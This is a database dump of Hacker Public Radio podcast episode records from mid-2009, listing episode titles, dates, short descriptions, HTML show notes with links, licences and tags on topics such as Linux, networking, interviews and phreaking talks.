(396,'2009-07-07','RoundTable 3 - Social Networking',2906,'An HPR Round Table covering social networking websites and personal identity on the web','<p>In the third official Hacker Public Round Table, Klaatu, Deepgeek, and Tottenkoph talk about \"social networking\", personal information on the web, the concept of identity, and so on.</p>\r\n<p>Some of the links they mention in this episode are: <br />\r\n<a href=\"https://www.memestreams.net/\" target=\"_blank\">memestreams.net</a><br />\r\n<a href=\"https://www.goodreads.com/\" target=\"_blank\">goodreads</a><br />\r\n<a href=\"https://www.mydeathspace.com/\" target=\"_blank\">mydeathspace.com</a><br />\r\n</p>\r\n<p>This episode also available in glorious low quality <a href=\"https://www.thebadapples.info/audiophile/HPR_roundTable3.ogg\" target=\"_blank\">ogg vorbis</a>. </p>\r\n',109,26,1,'CC-BY-NC-SA','social networking,roundtable,My  Space,BBS,BinRev,MemeStream,GoodReads,Digg,Facebook,Twitter,Friendster,personal  identity,Linkedin,Second Life',0,1725,1),
(397,'2009-07-08','Nerdapalooza 2009',1599,'StankDawg interviews hex, the founder of Nerdapalooza','Stankdawg interviews the founder of <a href=\"https://www.nerdapaloozafest.com/\"> Nerdapalooza </a> which is a nerdcore event that will be held in orlando florida this weekend',55,0,1,'CC-BY-NC-SA','Nerdapalooza 2009,Nerdapalooza,nerdcore,nerd  music,hiphop,festival,Florida,Child\'s Play Charity,charity',0,1651,1),
(398,'2009-07-09','Intro to Iptables',2504,'Kevin Benko gives an introduction to Linux iptables and packet filtering','Just a brief and basic overview of IPtables with some mad ramblings about network packets, pornography, and ramen noodles.',113,0,1,'CC-BY-NC-SA','iptables,packet,packets,networking,ipfw,ipchains,netfilter,IP  filter,Linux,kernel,TCP,UDP,ICMP,IP,TCP/IP,Internet Protocol  (IP),firewall,stateful firewalling,NAT',0,2389,1),
(399,'2009-07-10','Talk Geek to Me 1: WebHosting',1696,'Deepgeek hosts the premier episode of Talk Geek to Me','Episode 00 of Talk Geek To Me, topic is \"webhosting.\" ',73,34,1,'CC-BY-NC-SA','Webhosting',0,2834,1),
(400,'2009-07-13','Homeless where the heart is',1378,'Lostnbronx has thoughts on the FOSS community','\r\nFOSS and the Barrier To Acceptance\r\n\r\n<p>\r\n\r\nmusic in this episode:\r\n\r\n<p>\r\n\r\nfrom\r\n<a\r\nhref=https://music.mevio.com/music/listeners/artistdetails.php?BandHash=3a2bab08e84461fdeb3f654c869b0ec1 \r\n>AlienSeduction</a>\r\n\r\n<br>\r\n\r\nby <a href=https://www.giulianolombardo.com/bio.html>Giuliano Lombardo</a>\r\n\r\n<p>\r\n\r\n<a href=https://music.mevio.com/music/mp3/00013847/855379.mp3>Traner</a>\r\n\r\n<br>\r\n\r\nand\r\n\r\n<br>\r\n\r\n<a href=https://music.mevio.com/music/mp3/00013847/858679.mp3>Inshallah</a>\r\n\r\n<p>\r\n\r\nfound at <a href=https://music.mevio.com/>The Podsafe Music Network</a>\r\n',107,0,1,'CC-BY-NC-SA','FOSS,community,rant',0,3169,1),
(401,'2009-07-14','web2speech',754,'Converting wikipedia text to audio.','<p>web2speech <a href=\"https://kenfallon.com/wp-content/uploads/2009/06/web2speech.txt\">https://kenfallon.com/wp-content/uploads/2009/06/web2speech.txt</a></p>\r\n\r\n<p>Converting wikipedia text to audio. <a href=\"https://kenfallon.com/?p=240\">https://kenfallon.com/?p=240</a></p>\r\n',30,0,1,'CC-BY-NC-SA','text to speech',0,2077,1),
(402,'2009-07-15','Interview with Paul Frields of the Fedora Project',1158,'Klaatu talks to Paul Frields of the Fedora Project','<p>Klaatu talks to Paul Frields (of the Fedora Project) about Linux in\r\ncomputer forensics and government.</p>\r\n<p>You can also get this episode in <a\r\nhref=\"https://www.thebadapples.info/audiophile/HPR_SELF_frields.ogg\"\r\ntarget=\"_blank\">ogg vorbis</a> courtesy the good folks over at the Bad Apple\r\nLinux Ogg Cast.</p>',78,78,0,'CC-BY-NC-SA','interview,Fedora',0,2755,1),
(403,'2009-07-16','TIT Radio ep 4',5522,'Monsterb and friends host TiT Radio','On July 11th, 2009,&nbsp; monsterb,&nbsp; Peter \"J\" 64,&nbsp;\r\nAzimuth,&nbsp; Artv61,&nbsp; Klaatu, threethiry,&nbsp; and pegwole sit\r\ndown at the fifth TiT roundtable. &nbsp;For more information and\r\nshownotes. Please visit: &nbsp;https://titradio.info',99,30,1,'CC-BY-NC-SA','Music creation,Home automation,Cloth camera,html5 video markup,hadopi router,auto-hacking router,dd-wrt,educational software,computer recycling',0,1845,1),
(404,'2009-07-17','Tikiwiki',1045,'Klaatu installs Tiki Wiki','<p>Klaatu installs <a href=\"https://www.tikiwiki.org\" target=\"_blank\">Tiki Wiki</a>, a simple but full-featured wiki software.</p>\r\n<p>You may also listen to this episode in <a href=\"https://www.thebadapples.info/audiophile/tikiWiki.ogg\">ogg vorbis</a>.</p>\r\n',78,0,0,'CC-BY-NC-SA','wiki,tikiwiki,mysql,php',0,3820,1),
(405,'2009-07-20','Electronic Medical Records',1039,'Janedoc discusses Electronic medical records','janedoc talks about open source and electronic medical records.\r\n',116,0,1,'CC-BY-NC-SA','electronic medical records',0,4010,1),
(406,'2009-07-21','Moonshine',833,'Friends at SouthEast Linux Fest discuss making moonshine','<p>While everyone else at the SouthEast Linux Fest was watching the fine closing keynote by Mr. Paul Frields, Klaatu was hanging out in the hallways talking to Cobra2 (of <a href=\"https://unixporn.pro\" target=\"_blank\">unixporn.com</a>), Alan Hicks (from the <a href=\"https://www.slackbook.org/html/index.html\" target=\"_blank\">Slackbook</a> project), and a few other SELF attendees as they discuss howto make Moonshine.  Bonus topics include Brunswick Stew, moonshine mash recipes, building transmissions, and trucks.</p>\r\n<p>You can download this episode as an <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_moonshine.ogg\" target=\"_blank\">ogg</a> file.</a></p>\r\n<p><small><small>Editor\'s note 2017-11-25: <em>unixporn</em> link adjusted in accordance with comment 1.</small></small></p>\r\n',78,78,0,'CC-BY-NC-SA','SELF, interview',0,3223,1),
(407,'2009-07-22','Mono,Java and FOSS in Education',2789,'Mark and Darlene talk about Open Source in education','\r\nIn this episode Mark gives his views on the Mono controversy and why the\r\nFOSS/GNU community should embrace Java for Desktop development and to\r\nlevergae Linux\'s dominance on the server. Darlene discusses FOSS in\r\neducation and talks about some of the great FOSS application that are\r\navailable.',112,0,1,'CC-BY-NC-SA','FOSS,patents,Edubuntu,ITalc,SchoolTool,Moodle,Open Office',0,2205,1),
(408,'2009-07-23','Interview with JonathanD from Freenode',520,'Klaatu talks to JonathanD from the Freenode IRC network','<p>Klaatu talks to JonathanD of the Freenode network.</p>\r\n<p>The <a href=\"https://podcast.freenode.net\" target=\"_blank\">Free-as-in-Node Podcast</a><br />\r\n<a href=\"https://www.geeknic.org\" target=\"_blank\">geeknic</a><br />\r\nThe <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_freenode.ogg\">ogg</a> version of this episode.</a></p>\r\n',78,78,0,'CC-BY-NC-SA','SELF, interview',0,3665,1),
(409,'2009-07-24','Bug Reporting',640,'Klaatu talks to Mackenzie at the SouthEast Linux Fest about bug reporting','<p>In this exciting continuation of HPR Episode 92, Klaatu talks to Mackenzie at the SouthEast Linux Fest about bug reporting and bug triaging.</p>\r\n<p>Download this here episode over yonder in the <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_mackenzie.ogg\" target=\"_blank\">ogg vorbis</a> format.</p>\r\n',78,78,0,'CC-BY-NC-SA','SELF, interview',0,1706,1),
(410,'2009-07-27','How I found Linux Part 6 ',1686,'Monsterb introduces audio clips sent in by Linux users','How I Found Linux 006<br><br>\n_guitarman_ - Open Source Musician<br>\nOscar Dacht<br>\nNoel (weirdedout)<br>\nEddie<br>\nDaniel (linuxfandan)<br>\nUkytreats<br>\n<br>\nCheck out <a href=\"https://titradio.info/howifoundlinux.html\">https://titradio.info/howifoundlinux.html</a> for more information.<br>\n<br>\nSend your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.\n',99,29,1,'CC-BY-NC-SA','Samba,Suse,Gentoo',0,1790,1),
(411,'2009-07-28','Free Software Foundation Interview',918,'Klaatu talks to Deborah from the Free Software Foundation','<p>Klaatu talks to Deborah from the Free Software Foundation.</p>\r\n<p><a href=\"https://www.fsf.org\" target=\"_blank\">The FSF</a><br />\r\nIf you\'re gonna listen to an episode about the FSF, you may as well listen to the <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_fsf.ogg\" target=\"_blank\">ogg vorbis</a> version, no? </p>\r\n',78,78,0,'CC-BY-NC-SA','SELF, interview',0,1664,1),
(412,'2009-07-30','Episode 005 - Potluck Roundtable',5592,'Monsterb and friends host TiT Radio','On July 25th 2009,&nbsp; monsterb,&nbsp; Peter \"J\" 64, &nbsp;Azimuth,\r\n&nbsp;Klaatu, &nbsp;threethirty,&nbsp; Snacky, &nbsp;and the Xokes sit\r\ndown at the sixth TiT roundtable. &nbsp;For complete shownotes visit <a href=\"https://titradio.info\">https://titradio.info</a>',99,30,1,'CC-BY-NC-SA','hadopi router,astronomy,zim,wiki,privacy,FreeBSD,copyright',0,1640,1),
(413,'2009-07-30','Ontario Linux Fest Interview',595,'Klaatu talks to Richard W. about Open Street Maps','p>Klaatu talks to Richard W. about Open Street Maps -- why it exists, why it\'s important, and what it\'s good for -- and the upcoming Ontario Linux Fest.</p>\r\n<p>Download this episode in the <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_ontario.ogg\" target=\"_blank\">ogg vorbis</a> format.</p>                 ',78,78,0,'CC-BY-NC-SA','SELF, interview',0,3204,1),
(414,'2009-08-01','Networking Basics Part 5',1122,'Klaatu covers IP (Internet Protocol)','<p>Klaatu goes over IP (Internet Protocol), its header information, the mechanics of datagram fragmentation, and RFC 791 in general.</p>\r\n<p>see also <a href=\"https://www.ietf.org/rfc/rfc791.txt\" target=\"_blank\">RFC 791</a><br />\r\n<a href=\"https://iana.org/assignments/protocol-numbers/\" target=\"_blank\">iana protocol number assignments</a></p>\r\n<p>Listen to <a href=\"https://www.thebadapples.info/audiophile/hpr_networkBasics5.ogg\" target=\"_blank\">this episode</a> in ogg.</p>',78,61,0,'CC-BY-NC-SA','networking,addressing,fragmentation',0,3842,1),
(415,'2009-08-04','Demo or Bust 2010 Part 2',6198,'This episode of Demo or Bust 2010 I cover software-synthesizers','This episode of Demo or Bust 2010 I cover software-synthesizers and interview Polaris of The Northern Dragons.  ',115,0,1,'CC-BY-NC-SA','Demo or Bust 2010',0,2138,1),
(416,'2009-08-06','Mer Project Interview',510,'Klaatu interviews Andrew about the Mer project at the South East Linux Fest (SELF)','<p>Klaatu, at SELF, talks to Andrew from the Mer project, for the Nokia N770 and N8x0 tablets.</p>\r\n<p><a href=\"https://wiki.maemo.org/Mer\" target=\"_blank\">The Mer Project</a><br />\r\nThis episode in <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_mer.ogg\" target=\"_blank\">ogg vorbis</a>. </p>',78,78,0,'CC-BY-NC-SA','SELF,interview,South East Linux Fest,Mer Project,Mer,Nokia,N770,N8x0 tablet,Maemo,operating system,conferences',0,3218,1),
(417,'2009-08-06','Mozilla Addon usability',2823,'A review of usability issues and potential improvements to Mozilla\'s add-on functionality','ThistleWeb discusses usability issues and potential improvements to Mozilla\'s add-on functionality in Firefox & Thunderbird. FAO the Mozilla community; developers & users. Screencast available <a href=\"https://hackerpublicradio.org/eps/hpr0417/HPR_-_Mozilla_Add-On_Usibility.avi\"> here </a>. Running time 45mins approx.\n',106,0,1,'CC-BY-NC-SA','Mozilla,addon,usability,Firefox,Thunderbird,search,Songbird,package management,UX design',0,3680,1),
(418,'2009-08-07','700 Numbers',692,'Talk on 711 Numbers by PhreakerD7 presented at ConfCon 2009','Although we aren\'t really sure when exactly the first 711 number showed up, they\'ve been kind of a phreaking anomoly over the years. They were spotted in the letters section of the 1997 Spring issue of 2600 Magazine, and have appeared on many popular phreaking forums since then, like BinRev in 2005 (https://www.binrev.com/forums/index.php/topic/11638-number-i-found-scanning)',117,0,1,'CC-BY-NC-SA','phreaking,2600 magazine,2600,toll free,711 numbers,711,IVR,testing,social engineering,binrev,ConfCon,ConfCon 2009,conferences',0,3648,1),
(419,'2009-08-10','ConfCon09 - Project MF',3381,'Talk on Project MF by df99 presented at ConfCon 2009','<a href=\"https://confcon.org/text/df99_projectmf.txt\"> Shownotes </a>',118,0,1,'CC-BY-NC-SA','phreaking,binrev,Project MF,blue box,Asterisk,tone generator,collector\'s network,ConfCon,ConfCon 2009,DTMF,touch tones,2600 magazine,2600,tandem stacking,conferences',0,1968,1),
(420,'2009-08-12','Defcon 17 Interview',2922,'finux interviews ChrisJohnRiley and Frank Breedijk about Defcon 17','finux interviews ChrisJohnRiley and Frank Breedijk about Defcon 17.',85,78,1,'CC-BY-NC-SA','Defcon 17,Defcon,interview,security,interview,vulnerabilities,Black Hat,conferences',0,1480,1),
(421,'2009-08-12','History of Copyright',3332,'Stephen Fry talks about the History of Copyright','Stephen Fry talks about the History of Copyright',79,0,1,'CC-BY-NC-SA','Copyright,History',0,2047,1),
(422,'2009-08-13','Comfortably Numblock\'d ',778,'ThistleWeb explains 2 tips with the keypad / numlock function','<p>ThistleWeb explains 2 tips with the keypad / numblock function. First is numblockx, a simple app which remembers the status of the numblock key across reboots. This is already installed and running in many distros but if it\'s not it can be added. Second is CTRL+ALT+NUMLOCK which toggles the keypad into a different mode, allowing you to move the pointer with the keypad.</p>\r\n<p>Numlockx\r\n<ul>\r\n<li><a href=\"https://freshmeat.net/projects/numlockx/\" title=\"\">Numlockx Project Homepage</a></li>\r\n<li>OpenBox - /.config/openbox/autostart.sh</li>\r\n<li>numblockx &</li>\r\n</ul>\r\n</p>\r\n<p>Keyboard Pointer Control\r\n<ul>\r\n<li><a href=\"https://penguinpetes.com/b2evo/index.php?title=a_tour_of_your_keyboard&more=1&c=1&tb=1&pb=1\" title=\"\">Penguin Pete\'s Blog</a></li>\r\n<li>CTRL+ALT+NUMBLOCK to toggle mode on and off, there should be a beep each time you toggle</li>\r\n<li>1-9 = moving pointer around the points of the compass</li>\r\n<li>0 = right click</li>\r\n<li>enter (on keypad) = enter a menu</li>\r\n<li>backspace = back to previous menu</li>\r\n</ul>\r\n</p>',106,0,1,'CC-BY-NC-SA','numlockx',0,1951,1),
(423,'2009-08-14','Interview with Ian Geiser of the KDE Project',596,'Klaatu talks to Ian Geiser of the KDE project','<p>Klaatu talks to Ian Geiser of the KDE project.</p>\r\n<p>You can download this episode as an <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_ianGeiser.ogg\" target=\"_blank\">ogg</a> file.<br />\r\n<a href=\"https://news.kde.org/\" target=\"_blank\">KDE dot News</a></p>',78,78,0,'CC-BY-NC-SA','SELF, interview',0,3064,1),
(424,'2009-08-17','TiT Radio Episode 006',5115,'Monsterb and friends host TiT Radio','Hello and welcome to TiT Radio 006!<br>\r\n&nbsp; On tonights show... monsterb, Peter64, Klaatu, jlindsay,\r\nAzimuth, Xoke, and 330 talk about tircd,&nbsp; Blood Frontier,&nbsp;\r\nConcordance,&nbsp; Pro Git Book,&nbsp; <br>\r\nXephyr,&nbsp; KDE 4.3,&nbsp; Little Brother by Cory Doctorow,&nbsp;\r\nTiny Tiny RSS,&nbsp; ROX-Filer,&nbsp; ROX-Desktop,&nbsp; and so much\r\nmore.&nbsp; Please visit https://titradio.info for full shownotes.&nbsp;\r\napt-get moo.<br>',99,30,1,'CC-BY-NC-SA','FreeBSD,licensing,GPL,twitter,KDE,tinytinyrss,roxfiler,rox desktop',0,1645,1),
(425,'2009-08-18','Daves Quick Tips',567,'Dave Yates brings a couple of quick tips','A couple of quick tips.',77,0,1,'CC-BY-NC-SA','Tab mix plus,Firefox extension,grep',0,1447,1),
(426,'2009-08-19','Hacking Sprint Voicemail',296,'Hacking Sprint Voicemail with willjasen','Will talks about sprint voicemail systems',29,0,1,'CC-BY-NC-SA','hacking,security,voicemail,asterisk',0,2074,1),
(427,'2009-08-21','Intro to Networking ',3102,'Intro to networking at SELF 2009','Alan Hicks gives an intro to networking talk at SELF 09',158,35,1,'CC-BY-NC-SA','networking,7 layer model',0,2257,1),
(428,'2009-08-21','FreeBSD Ports for Beginners',639,'rkirk explains the basic usage of the FreeBSD Ports package management system.','rkirk gives an introduction to FreeBSD',114,0,1,'CC-BY-NC-SA','FreeBSD,BSD,Ports,Beginners,package management',0,1632,1),
(429,'2009-08-25','She went back to Windows',1095,'Going back to Windows','My Wife And Her New Machine\r\n\r\n<p>\r\n\r\nMusic in this episode:\r\n\r\n<p>\r\n\r\nThe incomparable \r\n\r\n<br>\r\n\r\n<b>\r\n\r\nAlbert Collins\r\n\r\n</b>\r\n\r\n<br>\r\n\r\nHis very brief listing at the Podsafe Music Network can be found\r\n\r\n<a\r\nhref=https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=a3e0ad9ed1fe91d242a2e297a87f08ed \r\n>here</a>, but it doesn\'t do this great man justice.\r\n\r\n<p>\r\n\r\nBy all means, check out his \r\n\r\n<a href=https://en.wikipedia.org/wiki/Albert_Collins>Wikipedia page</a> for a nice overview.  His career \r\nwas shorter than it should have been, but he had no equal.  \r\n\r\n<p>\r\n\r\nMay he rest in peace.\r\n',107,0,1,'CC-BY-NC-SA','Linux,Windows,FOSS,rant',0,3062,1),
(430,'2009-08-25','Copyright',1035,'Xoke talks about Copyright and creative commons','Xoke talks about Copyright and creative commons',79,0,1,'CC-BY-NC-SA','Copyright',0,2182,1),
(431,'2009-08-26','Logwatch',459,'Ken talks about Logwatch, a customizable log analysis system','Ken talks about Logwatch, a customizable log analysis system. Logwatch parses through your system\'s logs for a given period of time and creates a report analyzing areas that you specify, in as much detail as you require. Logwatch is easy to use and will work right out of the package on most systems. ',30,0,1,'CC-BY-NC-SA','Logwatch',0,2808,1),
(432,'2009-08-27','How to use walkies',1972,'Klaatu talks all about walkies (or \"CB Radios\") in this episode','<p>If you\'re putting on an event such as a Linux Fest, a film production, an organized [a]political demonstration, then you may find yourself using walkies (\"walkie talkies\" or \"CB Radios\").  Klaatu talks all about walkies in this episode; deciding whether to buy or rent, how to use them effectively, how to use them efficiently, and other matters of etiquette & protocol.</p>\r\n<p>You can also listen to this <a href=\"https://www.thebadapples.info/audiophile/HPR_walkies.ogg\">walkies episode</a> in the free audio format, ogg vorbis.</p>\r\n',78,0,0,'CC-BY-NC-SA','walkie talkies,SELF',0,2926,1),
(433,'2009-08-28','Demo or Bust 2010 Part 3',5442,'In this episode SigFLUP talks about FM-synthesis, raytracing','\r\nIn this episode SigFLUP talks about FM-synthesis, raytracing, and then interviews iq of rgba \r\ntalking about real-time raytracing and ray marching. rgba\'s site can be found at rgba.org. <br> A \r\n\r\n\r\nlow-rez image of slisesix can be found at https://bayimg.com/image/ladhgaacg.jpg ',115,0,1,'CC-BY-NC-SA','Demo or Bust 2010',0,2352,1),
(434,'2009-09-01','HPR Roundtable 4',3285,'Klaatu and friends discuss what free software apps they use to make life easier.','<p>Klaatu, Deepgeek, Charles from MintCast, Russ from the Techie Geek, Russ from The Linux Ham Shack, and Seal gather at the official HPR Round Table to discuss what free software apps they use to make life easier.</p>\r\n<p>Projects mentioned in this episode:</p>\r\n<p><a href=\"https://portableubuntu.demonccc.com.ar/\" target=\"_blank\">Portable Ubuntu Remix</a></p>\r\n<p><a href=\"https://www.straightrunning.com/XmingNotes/\" target=\"_blank\">Xming</a></p>\r\n<p><a href=\"https://www.openswan.org/\" target=\"_blank\">OpenSwan - IPsec for Linux</a></p>\r\n<p><a href=\"https://handbrake.fr/\" target=\"_blank\">Handbrake</a></p>\r\n<p><a href=\"https://www.mozilla.org/projects/calendar/sunbird/\" target=\"_blank\">Mozilla Sunbird</a></p>\r\n<p><a href=\"https://filezilla-project.org/\" target=\"_blank\">Filezilla</a></p>\r\n<p><a href=\"https://celtx.com/\" target=\"_blank\">Celtx</a></p>\r\n<p><a href=\"https://orgmode.org/\" target=\"_blank\">Org Mode for Emacs</a></p>\r\n<p><a href=\"https://www.vim.org/download.php\" target=\"_blank\">gVim</a></p>\r\n<p>...and a LOT more...</p>\r\n<p>You can also download this episode in the controversial <a href=\"https://www.thebadapples.info/audiophile/HPR_roundTable4.ogg\">ogg format</a>.</p>\r\n',78,0,0,'CC-BY-NC-SA','roundtable,Mintcast,Iceweasel,mencoder,mplayer,Audacity,Open Office,Dokuwiki,Handbrake,Bashpodder',0,1965,1),
(435,'2009-09-01','Lightweight Apps: Enlightenment, Part 2',1595,'Klaatu and Bryanstein from the Florida Linux Show discuss e17.','<p>Lightweight Apps: Enlightenment, Part 2</p>\r\n<p>Klaatu and Bryanstein from the Florida Linux Show rave about e17.</p>\r\n<p><a href=\"https://wiki.enlightenment.org/index.php/E17_User_Guide/Scripts_for_automated_CVS_installation\" target=\"_blank\">Easy-E17 Install Script</a><br />\r\nThis episode in <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_enlightenment.ogg\" target=\"_blank\">ogg</a></p>\r\n',78,11,0,'CC-BY-NC-SA','enlightenment,e17,lightweight',0,1954,1),
(436,'2009-09-03','Talk geek to me ep 01',1435,'Deepgeek talks geek to his fans about the website mirroring software \"Httrack\"','Deepgeek reviews the website mirroring software \"Httrack\" then puts it to good use by combining it with Cpanels \"Entropy Search\" to create a custom web search.\n',73,34,1,'CC-BY-NC-SA','Website mirroring,httrack',0,2319,1),
(437,'2009-09-03','refit',301,'Skirlet tells you how to install and use rEFIt for Intel-based Mac computers','<p>Skirlet tells you how to install and use rEFIt for Intel-based Mac computers.  Listen to this episode in the Skirlet-approved <a href=\"https://www.thebadapples.info/fedorareloaded/hpr_refit.ogg\">ogg version!</a>\r\n</p>',88,0,1,'CC-BY-NC-SA','refit,EFI Hack,Apple,Mac',0,3248,1),
(438,'2009-09-05','Podcasts I Listen To',803,'Dave Yates does a show about all the podcasts he listens to.','<p>Dave Yates from the \"Lotta Linux Links Linux User Podcast\" does a show about all the podcasts he listens to.  And, as you\'d expect, he provides a LOT of linux links here in the shownotes.</p>\r\n\r\n<p>Dave\'s List of RSS Feeds: </p>\r\n<p><a href=\"https://www.linuxuserpodcast.com/feed/podcast/?format=ogg\" target=\"_blank\">https://www.linuxuserpodcast.com/feed/podcast/?format=ogg</a><br/> \r\n<a href=\"https://feeds.feedburner.com/cmdln_free\" target=\"_blank\">https://feeds.feedburner.com/cmdln_free</a><br/> \r\n<a href=\"https://feeds2.feedburner.com/SomethingKindaTechy\" target=\"_blank\">https://feeds2.feedburner.com/SomethingKindaTechy</a><br/> \r\n<a href=\"https://talkgeektome.us/ogg.xml\" target=\"_blank\">https://talkgeektome.us/ogg.xml</a><br/> \r\n<a href=\"https://trygnulinux.com/ogg.rss\" target=\"_blank\">https://trygnulinux.com/ogg.rss</a><br/> \r\n<a href=\"https://www.tuxradar.com/files/podcast/podcast_ogg.rss\" target=\"_blank\">https://www.tuxradar.com/files/podcast/podcast_ogg.rss</a><br/> \r\n<a href=\"https://linuxgeekdom.com/rssogg.xml\" target=\"_blank\">https://linuxgeekdom.com/rssogg.xml</a><br/> \r\n<a href=\"https://linuxvoid.technographer.net/soundfeed.xml\" target=\"_blank\">https://linuxvoid.technographer.net/soundfeed.xml</a><br/> \r\n<a href=\"https://www.softwarefreedom.org/feeds/podcast-ogg/\" target=\"_blank\">https://www.softwarefreedom.org/feeds/podcast-ogg/</a><br/> \r\n<a href=\"https://feeds.feedburner.com/TenBuckReview\" target=\"_blank\">https://feeds.feedburner.com/TenBuckReview</a><br/> \r\n<a href=\"https://www.fossgeek.com/feeds/rss-ogg-full.xml\" target=\"_blank\">https://www.fossgeek.com/feeds/rss-ogg-full.xml</a><br/> \r\n<a href=\"https://ubuntupodcast.net/?feed=rss2\" target=\"_blank\">https://ubuntupodcast.net/?feed=rss2</a><br/> \r\n<a href=\"https://setbit.org/lt-ogg.xml\" target=\"_blank\">https://setbit.org/lt-ogg.xml</a><br/> \r\n<a href=\"https://jwplinux.libsyn.com/rss\" target=\"_blank\">https://jwplinux.libsyn.com/rss</a><br/> \r\n<a href=\"https://linuxcranks.info/ogg.xml\" target=\"_blank\">https://linuxcranks.info/ogg.xml</a><br/> \r\n<a href=\"https://feeds.feedburner.com/thetechiegeek/ogg\" target=\"_blank\">https://feeds.feedburner.com/thetechiegeek/ogg</a><br/> \r\n<a href=\"https://www.thebadapples.info/fedorareloaded/ogg.xml\" target=\"_blank\">https://www.thebadapples.info/fedorareloaded/ogg.xml</a><br/> \r\n<a href=\"https://feeds.feedburner.com/UbuntuUkPodcastOgg-high\" target=\"_blank\">https://feeds.feedburner.com/UbuntuUkPodcastOgg-high</a><br/> \r\n<a href=\"https://www.thebadapples.info/ogg.xml\" target=\"_blank\">https://www.thebadapples.info/ogg.xml</a><br/> \r\n<a href=\"https://linuxcrazy.com/podcasts/ogg.xml\" target=\"_blank\">https://linuxcrazy.com/podcasts/ogg.xml</a><br/> \r\n<a href=\"https://thelinuxlink.net/files/lager_ogg.rss\" target=\"_blank\">https://thelinuxlink.net/files/lager_ogg.rss</a><br/> \r\n<a href=\"https://www.hwhq.com/rssOGG.xml\" target=\"_blank\">https://www.hwhq.com/rssOGG.xml</a><br/> \r\n<a href=\"https://www.linuxbasement.com/ogg/feed\" target=\"_blank\">https://www.linuxbasement.com/ogg/feed</a><br/> \r\n<a href=\"https://feeds.feedburner.com/feedburner/knightcast\" target=\"_blank\">https://feeds.feedburner.com/feedburner/knightcast</a><br/> \r\n<a href=\"https://feeds.feedburner.com/doctorow_podcast\" target=\"_blank\">https://feeds.feedburner.com/doctorow_podcast</a><br/> \r\n<a href=\"https://lottalinuxlinks.com/podcast/uclugogg.xml\" target=\"_blank\">https://lottalinuxlinks.com/podcast/uclugogg.xml</a><br/> \r\n<a href=\"https://www.tmbg.com/_media/_pod/podcast.xml\" target=\"_blank\">https://www.tmbg.com/_media/_pod/podcast.xml</a><br/> \r\n<a href=\"https://feeds.feedburner.com/GNSciTech\" target=\"_blank\">https://feeds.feedburner.com/GNSciTech</a><br/> \r\n<a href=\"https://goinglinux.com/mp3podcast.xml\" target=\"_blank\">https://goinglinux.com/mp3podcast.xml</a><br/> \r\n<a href=\"https://feeds.feedburner.com/sourcetrunk\" target=\"_blank\">https://feeds.feedburner.com/sourcetrunk</a><br/> \r\n<a href=\"https://www.thelinuxlink.net/tllts/tllts_ogg.rss\" target=\"_blank\">https://www.thelinuxlink.net/tllts/tllts_ogg.rss</a><br/> \r\n<a href=\"https://hackervoice.co.uk/feed.xml\" target=\"_blank\">https://hackervoice.co.uk/feed.xml</a><br/> \r\n<a href=\"https://distrowatch.com/news/podcast.xml\" target=\"_blank\">https://distrowatch.com/news/podcast.xml</a><br/> \r\n<a href=\"https://pauldotcom.com/podcast/psw.xml\" target=\"_blank\">https://pauldotcom.com/podcast/psw.xml</a><br/> \r\n<a href=\"https://feeds.feedburner.com/freshubuntuogg/\" target=\"_blank\">https://feeds.feedburner.com/freshubuntuogg</a><br/> \r\n<a href=\"https://feeds.feedburner.com/linuxoutlaws\" target=\"_blank\">https://feeds.feedburner.com/linuxoutlaws</a><br/> \r\n<a href=\"https://distrocast.org/?feed=podcast&format=mp3\" target=\"_blank\">https://distrocast.org/?feed=podcast&format=mp3</a><br/> </p>\r\n \r\n<p>A Lotta Linux Links: </p>\r\n<p><a href=\"https://lincgeek.org/bashpodder/\" target=\"_blank\">https://lincgeek.org/bashpodder</a><br/> \r\n<a href=\"https://linuxplanet.org/casts\" target=\"_blank\">https://linuxplanet.org/casts</a><br/> \r\n<a href=\"https://linuxplanet.org/casts/?feed=rss2\" target=\"_blank\">https://linuxplanet.org/casts/?feed=rss2</a><br/> \r\n<a href=\"https://thelinuxlink.net\" target=\"_blank\">https://thelinuxlink.net</a><br/> \r\n<a href=\"https://hackermedia.org\" target=\"_blank\">https://hackermedia.org</a><br/> \r\n<a href=\"https://netboot.me\" target=\"_blank\">https://netboot.me</a><br/> </p>',77,75,1,'CC-BY-NC-SA','podcasts,feed',0,3012,1),
(439,'2009-09-07','TiT Radio Episode 007',5894,'Monsterb and friends host TiT Radio','Waaaaay back on August 15th, 2009...\r\nmonsterb and friends talk about Slack Mini Server, Ohio LinuxFest 2009, 10 best Linux cheat sheets, writing udev rules, Linux audio, and so much more.\r\n\r\nCheck out <a href=\"https://titradio.info\">https://titradio.info</a> for shownotes.',99,30,1,'CC-BY-NC-SA','Slack mini server,Electronic music creation,Ohio linux fest,Bell Labs,Unix,LGPL,Udev rules',0,1428,1),
(440,'2009-09-08','Developing Through Virtualbox',3246,'Brian Leonard at the SouthEast Linux Fest 2009','Brian Leonard at the SouthEast Linux Fest 2009.  See episode title for a clue about what the talk is about!',158,35,1,'CC-BY-NC-SA','java applications',0,2207,1),
(441,'2009-09-09','Migrating Your GPG Key and Starting GPG-Agent',774,'Klaatu continues his discussion of all things GnuPG','Klaatu continues his discussion of GnuPG related matters (see episode 0222 for Alpine+GPG and some random Bad Apple Linux OggCast ep 2x04 on GPG in general).  In this exciting episode, he talks about the proper way to migrate your GnuPG keys, how to manage gpg-agent in your Slackware+KDE desktop, and advises everyone who will be attending Ohio Linux Fest this year to attend the GnuPG Key Signing Party.',78,0,0,'CC-BY-NC-SA','gnupg,gpg keys,gpg-agent',0,6327,1),
(442,'2009-09-11','Chris DiBona Speaks at SELF 2009',3074,'Chris DiBona at the South East Linux Fest 2009','<p>Chris DiBona at the South East Linux Fest 2009.</p>\r\n<p>This file available as ogg here:</p>\r\n<p><a href=\"https://www.archive.org/download/SouthEast_LinuxFest_2009/Chris_DiBona_SouthEast_LinuxFest.ogg\">Ogg Version</a>',158,35,1,'CC-BY-NC-SA','Open source licensing,BSD license,Apache license',0,2239,1),
